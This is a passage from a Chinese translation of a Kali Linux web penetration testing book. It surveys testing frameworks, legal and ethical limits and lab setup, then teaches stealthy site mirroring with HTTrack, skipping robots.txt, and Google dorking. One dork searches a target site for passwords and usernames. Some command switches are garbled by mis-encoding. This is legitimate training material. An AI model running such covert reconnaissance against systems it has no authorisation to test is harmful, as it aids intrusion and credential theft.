)非常相似,如下图所示。虽然这些并非以名称命名的框架,但它们可以提供一种全面的方法论,可以被整合和适应到你自己的流程中。
网络攻击链驱动了大部分攻击和测试方法,并成为大多数行业认证的基础。
注
洛克希德·马丁公司被认为是在一篇名为《情报驱动的计算机网络防御:通过对对手行动和入侵攻击链的分析获得启示》的论文中创建了网络攻击链(www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf
)。
两个领先的国际组织,EC-Council 和 GIAC/SANS,已经成为专注于认证的组织,通过资格认证安全专业人员而赢得了认可,这反过来也为他们的项目说得很好。 Offensive Security(Kali Linux 的创建者/维护者)也提供了备受尊敬的以 Kali 为重点的认证,因其实践测试方法而备受推崇。
EC-Council 的方法
EC-Council 的 Hacking and Hardening Corporate Web App/Web Site CAST 613 课程(www.eccouncil.org/programs/web-application-security/
)涉及了一系列最具影响力和令人恐惧的攻击。他们的课程涉及了一些重点,并侧重于帮助开发人员了解如何更好地保护和测试他们的应用程序。鉴于 EC-Council 没有专门针对纯粹的网络应用程序渗透测试的攻击性认证,这门课程和认证可以作为 EC-Council 的认证的道德黑客(CEH)认证中学到的更一般的渗透测试方法的补充。与许多 EC-Council 的认证一样,材料可以通过他们的培训课程或书店和在线第三方文本获得。
我们将参考 EC-Council 的一些道德准则,但考虑到这不像他们的 CEH 那样受欢迎,特别是要看更为成熟的网络渗透测试标准。
GIAC/SANS 的方法
GIAC 和 SANS 共同提供活动、培训路径和一个强大的社区,通常被认为是美国和北约政府网络安全专业人员的首选,并经常列入那里许多角色的要求。其中包括GIAC Web 应用程序渗透测试员(GWAPT)认证。GWAPT 是一个独立的认证,与网络攻击链紧密相似,他们的课程只在会议和在线课程中提供。
他们的培训成本高昂,但通常是值得的,但这往往限制了可以访问他们的方法和框架的受众范围。考虑将 GWAPT 作为更高级的认证,值得在您的网络渗透测试职业生涯中追求的下一步。
攻击性安全方法
攻击性安全是为我们带来 Kali Linux 的组织,以及一些积极的博客和渗透测试和取证领域的思想领导。虽然他们在认证领域最为知名的是他们的攻击性安全认证专业(OSCP),他们还提供攻击性安全网络专家(OSWE)。这项严格的培训包括一个 24 小时的实践考试,这是他们认证策略的标志。虽然攻击性安全专注于实际方面,但事实上,他们确实教授了许多人将其作为基准的实践方法。他们的操作系统 Kali Linux 是重点,因此在本书的许多领域我们肯定会听取他们的指导。
开源方法和框架
开源倡导者为我们提供了一些非常全面的选择,我们可以选择作为起点。每个选项都提供了一个通常是免费或偏向特定供应商或工具集的结构。事实上,大多数由非营利组织开发的开源框架只能通过一系列工具来实现全面覆盖。来自世界互联网联盟(W3C)和 Web 应用程序安全委员会(WASC)等组织的额外指导可以帮助完善您的流程。
ISECOM 的 OSSTMM
安全和开放方法研究所(ISECOM)发布了最新的开源安全测试方法手册(OSSTMM)的付费版本,版本 4 是最新版本。银牌会员或更高级别会员可以访问该文档,但较早的版本可免费访问。
OSSTMM 在更高层次上描述了所有形式的渗透测试的过程,其中穿插着 Web 应用程序测试元素。我们将在进行过程中偶尔参考它,但可以将其视为本书的可选参考。
ISSAF
信息系统安全评估框架(ISSAF)实际上是一个被搁置的项目,但仍然提供了很好的信息。它可以帮助理解整个企业级评估过程,不仅包括渗透测试,还包括事件和变更控制程序、安全运营程序和环境的物理安全等。虽然 ISSAF 缺乏更多的当前应用测试指导,但它在提供样本 NDA、合同、问卷和其他有用的模板方面弥补了这一点,可以帮助制定适当的交付成果。
值得注意的是,ISSAF 涵盖了以下学科领域:
-
评估过程中的项目管理、指南和最佳实践
-
评估方法
-
技术控制评估
-
Unix/Linux、Windows、Novell 和数据库系统的安全评估
-
Web 应用程序安全评估
-
互联网用户安全和社会工程学
-
安全评估项目的法律方面
-
非披露协议(NDA)和安全评估合同的模板
-
请求提案(RFP)模板
-
渗透测试实验室设计的一些建议(本章后面介绍)
NIST 出版物
NIST 已经在近 30 年的时间里发布了特别出版物,为许多技术领域提供最佳实践和指导,计算机安全资源中心(CSRC)在提供许多关于网络安全防御领域的免费可访问出版物方面处于领先地位。NIST 还发布了有价值的指南,用于测试组织安全方法的有效性和覆盖范围。
NIST 在这一领域的首次尝试,他们的特别出版物《信息安全测试和评估技术指南》(NIST 800-115 (nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf
),现在已经过时,不再手动维护。参考 SP 800-115 是值得的,因为它仍然为各种渗透测试提供有用信息,包括 Web 应用。除了技术货币外,它的价值在于其对测试数据的系统处理,维护适当的控制,并将测试建立为有价值的报告。
感兴趣的最新 SP 是《评估联邦信息系统和组织中的安全和隐私控制》(SP 800-53A,可在nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53Ar4.pdf)
上找到)。这个演示更少地关注行政流程,更多地提供了如何最好地制定自己的政策的指导方针。SP 800-53A 还提供了关于如何将它们合理地纳入 SDLC(如第一章,《常见 Web 应用和架构》中提到的)的指导。作为额外的奖励,SP 800-53A 包括几个附录,提供了一些评估和报告信息;附录 F 包括一套完整的测试,可以纳入到你自己的流程中。NIST 测试方案按覆盖范围和关键性进行排名,为公开已知的漏洞提供了一些急需的严谨性。
OWASP 的 OTG
Web 渗透测试中最广泛接受的参考是 OWASP 测试指南,也称为 OTG,第 4 版(www.owasp.org/index.php/OWASP_Testing_Project
)。由于社区的积极参与和对趋势的卓越预测能力,OWASP 多年来一直引领着这一领域。OWASP 的影响是 SANS、Black Hat 和 DevCon 等会议上的主要推动因素,他们的前十大网络安全威胁对我们所有人来说都是必读的。
OTG 与 NIST 指南类似,提供了一些关于在适当阶段进行测试的提示和指针。OWASP 比之前讨论过的其他全面框架更经常地维护 OTG,每三到四年发布一次新版本的前十名和 OTG。然而,OTG 的大部分内容直接涉及特定于 Web 的测试,可以全面覆盖不仅是前十名威胁,还有一系列由 OWASP 团队积极跟踪的漏洞。
尽管 OTG 涵盖了很多内容,但它从一个入门开始,包括 OWASP 在 SDLC 中的最佳实践和适当的测试阶段。OTS 还超越了技术漏洞,展示了目标客户如何从红队(进行模拟安全入侵)以及 OWASP 团队特定于 Web 渗透测试的许多侦察和足迹方面受益。一旦讨论了这个基础,接下来的部分将 Web 应用程序渗透测试分解成逻辑组,重点关注可以由类似测试、工具和类似的开发或部署阶段覆盖的特定架构区域:
-
身份管理、认证和授权
-
会话管理
-
输入验证
-
错误处理
-
密码学
-
业务逻辑(根据输入或更新处理和操纵数据)
-
客户端(通常是受害者浏览器)
如果你现在还没猜到,OWASP 测试指南就是我们在本书中将要参考的基础。在实践中,其他框架可能对您更有效,但它们的文档的时效性、焦点、完整性和可访问性以及它们推荐的测试为我们提供了一个坚实的基础,使我们可以在测试目标应用程序时与 Kali Linux 一起使用它。
保持合法和道德
如果我们的测试流程能让我们远离监狱,并减少我们和客户的风险,那岂不是太好了?在大多数国家的国家、省、州和地方层面,法律体系呈指数级增长。我们所受到的众多新闻报道清楚地表明,世界各地的政府机构仍在努力确定如何在网络安全相关事件中找到隐私、保密和问责的正确平衡。事实证明,在绝大多数政府机构中,制定法律的人可能不适合理解复杂性并制定有效的法规。对我们来说,一个复杂因素是我们很少在单一司法管辖区内运营:跨州和国际纠葛是危险且动态的。我们如何才能在工作中摆脱持续的瘫痪和恐惧呢?
什么是合法的?
首先,我们测试的网站的位置和管理业务的法律管辖权将分别提出我们应该了解的不同法律和法规。在美国和欧盟,跨越州或成员国边界的行为属于其总体法规的主要管辖范围。为了避免违反这些法律,您可能会发现搜索您所在的管理机构的法律(对于欧盟,eur-lex.europa.eu/homepage.html
)是一个很好的起点,而美国司法部提供类似的搜索功能,但在名为Prosecuting Computer Crimes的指南中总结了国家法典www.justice.gov/sites/default/files/criminal-ccips/legacy/2015/01/14/ccmanual.pdf)
)。美国的法律,例如类似于 1984 年的《计算机欺诈和滥用法案》、1996 年的《经济间谍法》、《联邦信息安全管理法》(FISMA)、2002 年的《网络安全增强法》和 2001 年的《为拦截和阻挠恐怖主义提供适当工具的美国统一和加强法》(USA PATRIOT)等,也影响了美国网络法律的法律先例和原则。像萨班斯-奥克斯利法案、《健康保险可携带性和责任法案》(HIPAA)和《支付卡行业数字安全标准》(PCI-DSS)等法规可能适用于我们将要与之互动的许多客户,取决于其功能和管理机构。
欧盟刚刚颁布了一项名为《通用数据保护条例》(GDPR)的新的具有深远影响的法规(www.eugdpr.org
),它有助于定义公司的责任,肯定会影响我们参与涉及在欧盟开展业务的公司的项目的角色。印度政府最近制定了自己的全面《2013 年国家网络安全战略》,并通过其电子和信息技术部门网站提供所有这些信息(meity.gov.in/content/cyber-laws-security
)。许多其他亚洲和非洲国家也不断修订自己的法律。值得投资于涵盖不断发展的法律环境的参考书和法律期刊,这可以帮助您保持在法律的正确一边。
随着您的实践不断发展,值得考虑聘请一名专注于网络安全、数据、隐私和道德黑客法律的律师或律所,以帮助您制定合法的合同,并在您和您的公司可能卷入任何法律诉讼时提供代表。
什么是道德?
尽管没有法律约束力,道德准则可以成为法律和法规发展的风向标,至少比大多数政府实体设定了更高的标准。虽然它们缺乏法律语言,但通常以简单的术语弥补了这一点,这些术语通常会引导我们远离可能出现的任何法律问题领域。EC-Council 和 GIAC/SANS 都发布了《道德准则》(www.eccouncil.org/code-of-ethics/
和www.giac.org/about/ethics)
),许多其他行业机构和认证机构也有。一些商业工具供应商也对工具的正确使用有期望,并且不赞成使用其工具集进行不正当活动。通过注册为会员或持有他们的认证,您应该遵守他们的标准。
在渗透测试实践的自然演变中,很可能会遇到一些问题,这些问题可能在讨论或完成项目时出现,这可能在已建立的标准操作程序、道德准则或法律中是模棱两可的。在这些情况下,最好退一步,评估每个可用选项可能带来的短期和长期危害或利益。同意一套法律和道德边界可能是一种资产-有时最好的方法是完全避免道德或法律上的灰色地带,坚持那些得到充分证明的过程和行动。
实验室-练习我们所学到的东西
所以你可能会问,我们什么时候可以进行一些渗透测试的乐趣?让我们说很快。我们必须建立一个安全而又具有代表性的环境,可以为我们想要运行的各种测试提供成熟的目标。我们还希望在不影响一些真实生产应用程序或其基础系统或支持网络的性能的情况下推动极限。正如变化是生活的调味品一样,这也适用于渗透测试。通过接触和了解各种平台,您的测试效果将得到极大改善。如果您想深入了解更严格的通用渗透测试范围,可以参考一些很好的资源,比如 Packt 出版社的Building Virtual Pentesting Labs for Advanced Penetration Testing - Second Edition by Kevin Cardwell(www.packtpub.com/networking-and-servers/building-virtual-pentesting-labs-advanced-penetration-testing-second-edition
)。在本节中,我们将简要讨论本书中将用于演练我们的渗透测试方法的沙盒或实验室。
作为参考,我为本书准备的实验室看起来类似于以下图表:
本书的渗透测试虚拟实验室提供了充足的空间来探索和演练新的攻击方法。
创建一个虚拟化环境
白帽黑客,就像任何 IT 专业人士一样,通常对特定平台和操作系统有狂热的忠诚。我完全预期本书的读者将使用运行某种 Microsoft Windows、Mac OS(X 或 Sierra)或 Linux/BSD(Ubuntu/Debian、Fedora/RedHat、SUSE、FreeBSD 等)的笔记本电脑。不要为小事烦恼-只要它是一个相当新的和配置良好的笔记本电脑或台式机(4 个 CPU 现代核心,以太网和无线,一些 USB(2 或 3 版本)插座,至少 16GB 的 RAM),它至少应该让您开始。
冒着再次引发狂热的辩论的风险,我们将选择一个虚拟化平台来运行在其之上(抱歉!)。虚拟化帮助我们平衡竞争,并通过使用虚拟化平台来建立虚拟网络段并安装和访问 Windows 和 Linux 桌面和服务器变体的虚拟机(VM)来实际提高我们实验室的多功能性。选择适合您预算和偏好的选项。像 Oracle 的 Virtual Box,VMWare 的 Workstation 或 Fusion,Citrix Xen,甚至 Parellels(在 Mac 上)都很受欢迎。在 Web 应用程序渗透测试中,性能并不像在其他一些形式中那样重要,因为我们在大多数工作中不会进行实时破解或哈希。
值得注意的是,您当然可以使用专用服务器或裸机(物理)主机和网络设备来构建实验室,但我们可以在我们的虚拟沙盒中完成本书中的所有工作。在实际实践中,更常见的是看到专业的渗透测试人员使用虚拟机来执行他们的测试,因为这有助于确保客户正在进行适当的消毒和隔离。测试人员可以简单地将虚拟机托管在可移动或网络驱动器上,并在项目完成时删除虚拟机。
我们的渗透测试主机
在撰写本书时,我们将使用最新的 Kali Linux 版本(2016.2),使用其存储库中的现成虚拟机(www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/
)。我建议修改镜像以获得更大的分区(我使用了一个 1TB 的混合 USB 3.0 驱动器来存储所有镜像,并将 Kali 镜像设置为 100GB 的单个分区)。这个更大的占用空间将容纳大量的网站和数据收集档案。您也可以启用额外的虚拟网络接口卡(NIC),如果您愿意的话,但我使用 VMWare Fusion 的机器设置将单个 NIC 映射到每种所需的连接形式的适当接口。对于 MITM 攻击,我们将提供第二个 NIC。
创建一个目标丰富的环境
我们将遇到的大多数服务器目标将托管在 Linux 或 Windows 操作系统上,客户端将是 Linux、Windows、Mac OS 或移动设备(Android、iOS、Windows Phone 或 Blackberry)。让我们分别看待服务器和客户端。
寻找易受骗的服务器
如果您有活跃的Microsoft Developers Program(MSDP)许可证,您可以使用这些镜像进行测试;但对于我们其他人来说,没有预算支持这一点,您可以从微软的评估中心网站(www.microsoft.com/en-us/evalcenter/
)下载几乎任何操作系统或软件包的完整版本,评估期为 60 至 180 天。这两个选项都是合适的,但频繁需要重新开始和评估许可证的不存在成本使后者成为一个完全合适的选择。我建议至少具有 MS Server 2008、2012 和 2016 的镜像,并为 IIS 和其他重要的 Web 服务配置镜像。
Linux 客户端更容易。您可以找到几乎任何您需要的变体的选项;对于企业/商业变体,您可以找到一个免费的、社区支持的近似值,非常接近。大多数用于 Web 服务的 Linux 实现不仅包括 Linux 操作系统,还包括适当的 Apache Web 服务器、MySQL 数据库和 PHP 版本,它们共同形成了 LAMP Web 堆栈。拥有 Debian、Ubuntu、CentOS(用于 Red Hat 目标)、Fedora 或 SuSE Linux 的当前镜像可以确保您准备好应对任何潜在的情况。
对于有抱负的渗透测试人员来说,最好的事情是可黑客化的服务器 VM 的出现,其中有几个允许练习针对各种漏洞的尝试。Rapid7 发布并支持了 Metasploitable VM(information.rapid7.com/metasploitable-download.html
),虽然有点老了,但非常值得进行一般渗透测试的练习。然而,Web 渗透测试受益于预配置应用程序的适当镜像,这样我们就可以直接进行有趣的事情。感兴趣的镜像包括Damn Vulnerable Web Application(DVWA,www.dvwa.co.uk
)、OWASP Broken Web App(sourceforge.net/projects/owaspbwa/files/
)和 Beebox VM(Buggy Web Application 或bwAPP模块的基于 VM 的版本,可在www.itsecgames.com
找到)。可以在 VulnHub 找到其他练习用的 VM(www.vulnhub.com/
)。
不知情的客户
如果您不愿意透露您的信息并创建一个帐户来下载适合的 MS 桌面操作系统,您也可以下载微软鼓励测试人员和开发人员使用的操作系统和浏览器组合镜像(developer.microsoft.com/en-us/microsoft-edge/tools/vms/
)。您可能需要选择 Windows 7、8 和 10 主机,以便完整地进行测试;在本书的各个部分,尝试每个可用的浏览器(Internet Explorer/Edge、Firefox、Chrome 等)是有意义的。虽然 MSDN、Eval Center 和开发人员下载都可以使用,但为了更轻松地设置新环境,后一种方法对我大部分的准备工作都足够了。
移动设备操作系统可以在虚拟环境中以不同的成功率运行,iOS 是唯一的例外(祝你好运,试图在虚拟环境中运行 iOS!)我们大多数的技术都将仅利用浏览器,因此使用浏览器插件或开发人员工具配置可以解决问题。从 Firefox 或 Chrome 快速搜索用户代理浏览器更改器将会找到工具,允许桌面浏览器模拟许多其他基于移动和桌面的浏览器。我尽可能使用 Kali VM 的 Firefox 或 Iceweasel 浏览器,必要时回退到同一 VM 上的 Chrome 或 IE/Edge、Safari 或其他适当的 Windows VM 上的浏览器,或者我笔记本电脑上的浏览器。
摘要
Web 应用程序渗透测试可能是一个庞大的工程。没有计划就是在计划失败;我们必须确保我们有一个明确定义的流程或测试框架,这个流程不仅被我们的技术团队充分理解,而且也得到了客户管理层的认可,可以在他们的环境中使用。渗透测试不可避免地迫使我们了解工作的一些非技术方面。当我们针对我们不拥有的应用程序,跨第三方提供的基础设施进行攻击时,我们肯定必须遵守许多利益相关者的各种规则和道德规范。要实现这种理解有很多不同的角度,所以至少这应该是一个深思熟虑的过程。
在本章中,我们看了一些更为普遍的测试方法和框架,我们可以从中汲取经验,建立自己的流程和实践。我们还花了一些时间来了解如何确定我们的法律和道德责任范围。与黑客不同,我们在这里是为了帮助我们的客户抵御攻击,所以我们有规则要遵循。我们在定义我们的流程和了解我们的边界方面的所有作业都是根据我们组建的沙盒进行测试的,我们还涵盖了建立自己的沙盒或实验室的一些方面。你自己的环境可能看起来非常不同:因人而异!
在我们的下一章中,我们将最终开始深入探讨如何对我们的目标进行侦察和范围确定。我们将研究可用的工具,以进行非侵入式扫描并避开我们目标网站的雷达,同时我们将深入了解它们的结构,揭示访问的潜在向量,并记录可能有助于我们在测试的后期阶段的邻近关系和注意事项。让我们开始吧!
第三章:通过目标侦察追踪猎物
美国总统亚伯拉罕·林肯,尽管他可能曾经被引用,但通常(错误地)被认为曾经说过,
“给我六个小时砍倒一棵树,我将花前四个小时磨削斧头。”
无论这句话真正来自何处,我们肯定可以将其与黑客联系起来。在网站渗透测试中的许多成功取决于我们在这里发现了什么,我们如何筛选信息,以及我们如何将其与本书后面介绍的工具相结合。在这里进行彻底和系统的方法将节省时间,集中精力,并有助于规划我们的攻击。我们在第二章中讨论的各种框架和组织的方法都包括一些信息收集方面,Kali Linux 中可用的工具应该对您来说是熟悉的。
注意
在本书中,我们将跟随Penetration Testing with the Raspberry Pi â�� Second Edition(由Jason Beltrame和Mike McPhee讨论的 Pen Test Kill Chain)的讨论,该书可在www.packtpub.com/networking-and-servers/penetration-testing-raspberry-pi-second-edition
上找到,如下图所示:
Pen Test Kill Chain 有助于了解涉及何种工具。构建您自己的版本以帮助可视化工作流程。
这种信息收集有多种形式,但作为一名实践黑客,您可能已经形成了自己的偏好和惯例。开源信息收集、对目标本身进行被动侦察以及微妙、专注的扫描和蜘蛛的健康混合可以在很大程度上帮助制定项目的游戏计划的其余部分。挑战在于尽可能暴露更多信息,而不引起目标操作者的防御意识(也称为偏执狂)。我希望我能帮助提供一些调整您的流程的建议,这样您就可以在不被发现的情况下更深入地进行发现。
所有系统的普遍漏洞是用户,而 Web 应用程序为其开发人员提供了一个表达自己并展示他们的机会。有效的社会工程学往往可以绕过大量的技术工程,以获取 Web 应用程序架构的凭据和其他关键元素。我们将看看如何利用信任和自豪感来鼓励目标用户和开发人员,尽可能多地利用这种方法。
让我们不要忘记,文物本身可以帮助客户了解他们的信息曝光。敏锐的网络安全举措不仅会引起对其组织公开可用信息的关注,甚至可能会进行误导。在您的发现中,编目您的发现:客户应该因减少其公开曝光而受到赞扬。
在本章中,我们将讨论以下内容:
-
收集和使用网站的离线存档
-
使用公共资源和一个时髦的旧浏览器对您的目标进行侦察
-
使用社会工程学来黑客用户
-
自动化开源信息收集以绘制和描述目标
-
通过主动扫描识别目标的关键方面,并通过后续努力进行聚焦
模拟游戏
如果攻击的侦察阶段中的一个挑战让你的血液沸腾,那就是试图在不被发现的情况下找出关于一个网站的每一个细节。普通用户随机浏览网站,重点关注某些高流量交易,任何比这更有条理的行为可能引起怀疑。低效的工作流也可能引起警觉,因此能够浏览网站并制定攻击计划是一个非常有用的技巧。在这一部分,我们将看看如何创建一个网站的镜像(而不会惊动防御者),进行无风险的模拟。他们说模仿是最好的恭维方式。
我们还会发现网站镜像存在一些限制。后端数据、高级脚本和智能都无法在应用程序和数据层没有相同基础设施的情况下复制。我们可能依赖的业务逻辑无法复制,我们的最终目标——大量数据也无法以这种方式获取。我们需要更好地了解如何安全地浏览。在本节中,我们还将讨论一些更好的探测技术,以便在实际网站上进行隐蔽操作。
使用 HTTrack 创建(然后破坏)镜像
军事行动、体育队伍和商业提案团队在最佳状态下将对他们的战术和整体战略进行排练或完善,对抗一个模拟对手或在一个真实复制的环境中进行。这样做的好处很多,但其中最重要的是,这些排练环境提供了一个安全的环境,可以在不失去实际战斗、比赛或项目的风险的情况下建立信心和能力。在电影《奥斯汀大冒险》中,他们实际上模拟了他们要攻破的金库的完整副本来排练他们的计划。这一点是,模拟的越准确和真实,当真正的情况发生时成功的机会就越大。
现在我的电影参考结束了,想想我们作为渗透测试人员的角色。如果你可以下载一个完整网站的 HTML、JavaScript、CGI 和 CSS 代码以及层次结构,那么这不是一个探索网站的好方法吗?你和你的团队进行的所有头脑风暴现在可以用在一个复制品上,因为没有目标组织监控仪表板,我们可以测试一堆向量,而不是只担心一个。在渗透测试中,这也是一个创建本地、便于旅行的网站副本的有用方法,可以在不依赖实际网络连接的情况下使用。
这些存档也可以成为欺骗攻击的基础,让我们可以在使用浏览器利用框架(BeEF)或社会工程工具包(SET)的流氓蜜罐中托管实际的网页并进行修改。
诸如wget
和w3af
之类的多个网站镜像工具可以进行存档,但HTTrack是 Kali 中最全面的工具,可以创建一个镜像。你可能已经用它来创建基本存档,但通过一些调整,它可以做得更多。让我们来看看一些最有用的侦察 CLI 选项及其相应的图形用户界面(GUI)版本。
创建一个隐秘的初始存档。
作为一个提醒,你可以通过以下步骤创建一个网站的存档:
httrack "http://www.hackthissite.org/" -O "/tmp/www.hackthissite.org" "+*.hackthissite.org/*"
�O
指向输出位置(一些本地可访问的驱动器,您计划从中访问镜像)。虽然帮助可能会很有用(hattrack --help
或man help
),但您可以从 HTTrack 网站上 Fred Cohen 提供的手册中获得更多信息(www.httrack.com/html/fcguide.html
)。正如Mr. Cohen所透露的,CLI 中有大量开关,了解其中许多的默认值对于制定自己的镜像操作非常有用。更复杂的网站将采取措施防止从诸如 HTTrack 的实用程序进行镜像,包括递归链接和目录结构,域拆分以及使用脚本混淆链接以损害您镜像它们的能力。还可能采取极端措施,如 IP 黑名单或限速,因此最好谨慎使用这些工具,并尊重网站所有者。
调整更隐秘的存档
进行更隐秘的镜像操作当然值得学习,但我们需要考虑一些权衡。限制带宽和线程数量有助于使我们不被发现,但这意味着镜像操作将需要更长时间。我们可以通过过滤器和目录限制来限制我们的搜索范围,这是社会工程和我们自己的经验可以帮助解决的问题。还有其他地方可以提高效率吗?
HTTrack 处理查询时存在相当大的开销,时间和计算资源的消耗的一个重要因素是在网站上解析多用途互联网邮件扩展(MIME)类型。HTTrack 有许多可定制的功能,可以通过修改.httrackrc
文件来利用,但我学到的最有用的一个是添加以下行,这大大缩短了我的镜像时间,从几小时缩短到几分钟。通过使用您喜欢的编辑器将这一行完整地添加到.httrackrc
文件中,并保存文件:
set assume asp=text/html,php3=text/html,cgi=image/gif,dat=application/x-zip,mpg=application/x-mp3
一旦我对默认设置进行了修改,我发现有用的隐秘命令字符串将执行一系列非默认操作。请记住,一旦你磨练出自己的开关,你也可以将它们保存在.httrackrc
文件中。这是我使用的命令:
httrack www.hackthissite.org -O /tmp/hackthissite �c4 -%c10 �A20000000 �m50000000 �m1000000' �M100000000 �r25 �H2 �www.hackthissite.org/forums/* -www.hackthissite.org/user/*
以下是我使用的选项的简要描述。N表示一个变量:
-
-cN
:这限制了同时下载的数量或文件句柄,以避免过度压倒我们的目标 -
-AN
:这限制了带宽以保持低调 -
-mN
和â��mN'
:这些分别限制了非 HTML 和 HTML 文件大小的总下载量,以确保我们不会超出磁盘空间 -
-M
:这设置了整体镜像大小限制,再次保持磁盘大小可管理 -
-rN:这会对递归深度进行安全设置,以免陷入循环
-
-H2:如果检测到慢速流量,将停止下载
-
-<path>/*
:这跳过了一个路径(在这种情况下,我不想下载他们庞大的论坛或用户资料)
您还可以使用 GUI 版本的WebHTTrack,这对学习如何调整您喜欢的过滤器和选项非常方便:
WebHTTrack 提供了一个直观的方式来掌握过滤器和调整,并且还可以保存扫描设置以供重复使用。
这个命令对www.hackthissite.org/
网站的攻击花了一小时多一点的时间,下载了 200MB 的信息。在这个例子中,我省略了论坛和用户,但我也可以省略其他目录,以便专注于网站的特定区域,或者避免违反客户设定的界限。如果在命令行运行时按下Enter,你将得到一个关于运行时间、找到的链接数量以及到目前为止的总下载大小的摘要:
状态屏幕是一个简单的方式来查看你的进展。如果你决定提前结束,按下 Ctrl + C 将退出镜像。
WebHTTrack 的另一个优势是,你可以与存档过程中的文件进行交互以跳过文件。
当存档完成时,你可以通过在浏览器中访问本地路径来像访问实时网络一样浏览它:file:///tmp/hackthissite/www.hackthissite.org/index.html
。
你将在下面的截图中看到,我们成功捕获了动态广告横幅内容(infosecaddicts.com/
),这也值得过滤:
使用 HTTrack 创建的本地镜像与网站进行交互和浏览,这对于识别潜在的向量至关重要。
镜像是否完整并且是最新的?
有很多开关可以让你去探索,但有一个特别有用的开关可以帮助我们镜像网站上开发者告诉 Google、Yahoo 和其他爬虫忽略的地方。robots.txt
文件或元标记用于告诉浏览器跳过存档或搜索扫描。他们通常这样做是为了避免允许某些东西被搜索,这在渗透测试中肯定是有趣的。添加â��s0
选项可以确保我们在扫描中不会漏掉任何东西。
更新我们的镜像是一个非常简单的过程。假设你将它存储在一个非易失性位置(/tmp
在重新启动时会消失),你可以手动收集,甚至分配一个cron任务来自动更新你的镜像内容和链接。一个提示将确保你的意思是更新缓存;假设是这样,它将删除锁定文件并执行更新。我建议探索存档开关,可以让你保留旧文件或执行增量更新,以更好地利用你的时间。一些旧的副本可能包含被删除以掩盖无意中披露的内容,因此值得保存一些历史文件,直到它们被扫描。
注意
在离开 HTTrack 讨论之前,值得一提的是,在练习已知网站时,调整你的选项和设置可以使你的镜像过程更加高效和有用。一定要做笔记和记录你喜欢的替代方案!
HTTrack 提供智能更新,这可以节省带宽和时间。如果需要,还可以使用 CLI 选项进行多个副本和版本。
参观目标环境
本地副本允许我们以安全的方式审查网站,但我们从哪里开始呢?手动的实际扫描将帮助我们了解流程,并给我们一些关于下一步的提示。我首先建议了解网站的层次结构以及各种动态内容门户可能存在的位置。用户可以在哪里登录托管的应用程序,查询信息,或提供/查看反馈?我们还应该记录我们可以在以后用来枚举名称、电子邮件地址和组织信息,并更好地理解实体关系的实体信息。如果我们要重新利用这个镜像进行 MITM 或蜜罐任务,我们希望能够复制不仅外观和感觉,还有工作流程。
存在一些工具可以帮助进行这些漫游,比如那些揭示底层 HTML 和 JavaScript 元素的工具。通过 Firefox 的开发者工具查看页面源代码,使用 OWASP Mantra 附加包中的插件 HackBar 或其他 HTML 查看器。为了节省时间,我建议除了最初熟悉应用程序或网站之外的任何事情都要使用完整的代理工具集,比如 Burp 或 Firebug。使用 Web 应用程序测试套件(在接下来的几章中介绍)可以帮助您有效地从侦察阶段转移到武器化、利用或安装阶段的活动。
开源的强大
在接受任务或工作之前,我做的第一件事是弄清楚我要面对什么。以前并不总是这样。作为一名年轻的通信系统工程师,我曾被要求领导一个听起来很酷的子系统规范的开发。哇哦,这是一个闪耀的时刻!我基于团队负责人提供的销售说辞做出了承诺。现实在我接受任务的第二周左右击中了我,因为只有在那时我才能从键盘上抬起头来设想我前方的道路。如果我在承诺之前做了那项研究,我本可以避免前方的麻烦。不用说,工作完成了,但我总是回想起来,想知道它本可以做得更好,如果我在接受任务之前研究了过程、约束和期望,我会更快乐、更休息。
渗透测试也不例外。虽然一些测试人员(事实上,黑客也是如此)可能在研究目标之前接受工作,但经验丰富的专业人士采取了不同的方法,并做好了功课。我们都是谷歌搜索专家,但我们可以改进这些查询的方式,并利用其他工具来完善我们对目标的了解。我们需要利用搜索引擎、社交媒体、论坛和其他公共领域信息之间的许多链接。下图向我们展示了原始的开源情报(OSINT)来自许多来源,可以通过搜索引擎和 Kali 的工具集来访问。有效利用 OSINT 有助于更好地理解项目的要求,并可以帮助我们制定策略,发现漏洞,收集用户信息,并获取有助于我们绘制基础设施的详细信息。我们将看一些可能熟悉的工具,但我们将看看是否可以发掘它们更多的潜力。
浏览器和 Kali 的工具集可以帮助访问大量的 OSINT。
开源情报与谷歌和谷歌黑客数据库
搜索引擎现在已经成为我们超连接的全球社会的重要组成部分,以至于很容易忽视每个引擎的优势和功能。在美国,Google、Bing,以及在较小程度上的 Yahoo 主导了市场,但考虑到我们作为渗透测试人员的角色可能跨越国界,与引擎及其本地化合作以确保我们获得最新的信息是很有用的。Search Engine Colossus(https://www.searchenginecolossus.com)提供了每个国家的领先选项,包括那些受到禁运的国家。特别是那些非技术领域的一般信息搜索,应该包括目标地区或其合作组织的本地搜索引擎。然而,谷歌的搜索引擎提供了出色的覆盖范围和自己的广泛语法,可以将这些一般引擎的发现与极大的效力一起使用,以发现架构细节、敏感文件和潜在的进入目标服务器的途径。
调整你的谷歌搜索技能
有一些专门讲解提高谷歌搜索技能的书籍,但对于网络渗透测试,我们可以专注于一些可以更好地利用引擎并消除无用搜索结果的技巧和实践,通常称为噪音。我们可以使用一些操作符来过滤或聚焦我们的结果,而其他操作符将执行逻辑组合或修改引擎的行为。让我们先看看最有效的修饰符和选项,首先是过滤或聚焦,然后是逻辑操作符:
- 站点:操作符:使用站点:操作符告诉谷歌的引擎只接受托管在特定域上的文件。当我们正在寻找合法的联系信息、暴露的文件和内容时,我们将使用此操作符,以便让我们纯粹地专注于该域的结果,而不是在页面点击顺序中的链接的完整转储,这可能会垃圾邮件许多其他网站。例如,在 Cisco ASA 文档的搜索之前(左)和站点:操作符之后(右):
站点:操作符是一个很好的第一个过滤器,可以确保结果集专注于您的目标。
- 凭证操作符:使用关键词如
username
、password
、userid
、pwd
、passcode
、credentials 或任何其他变体可以帮助我们找到密码或用户名恢复详情。对这些术语进行快速有针对性的搜索不仅可以指向您可能要定位的门户入口,而且实际上可能提供解锁它们的钥匙。我们将在本书的后面讨论使用默认凭证对这些查询结果的影响:
site:<target site> username|userid|password|passcode|pwd
凭证搜索可能不会产生凭证本身,但可能指向下一个最好的东西——恢复!
- 网址:操作符:对目标进行早期侦察,包括从社会工程学中学到的经验教训,可能会为我们提供有关所使用的平台、涉及的开发人员或网页应用程序中的兴趣点的线索。我们可以将网址:操作符与站点:操作符结合使用,以探索这些特定的兴趣点:
